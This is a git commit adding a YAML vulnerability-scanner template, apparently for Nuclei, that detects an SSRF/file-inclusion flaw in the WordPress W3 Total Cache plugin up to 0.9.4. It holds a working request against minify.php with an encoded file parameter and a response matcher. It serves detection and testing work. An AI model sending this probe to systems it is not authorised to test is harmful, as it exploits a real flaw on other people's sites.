Create w3c-total-cache.yaml

2020-10-06 10:45:54 +01:00 · 2020-10-06 10:45:54 +01:00 · 53c296c49a
parent d381c44f4b
commit 53c296c49a
1 changed files with 17 additions and 0 deletions
--- a/vulnerabilities/w3c-total-cache.yaml
+++ b/vulnerabilities/w3c-total-cache.yaml
@ -0,0 +1,17 @@
+id: w3c-total-cache
+info:
+  name: Wordpress W3C Total Cache SSRF <= 0.9.4
+  author: random-robbie
+  severity: medium
+  # info https://wpvulndb.com/vulnerabilities/8644
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "NessusFileIncludeTest"
+        part: body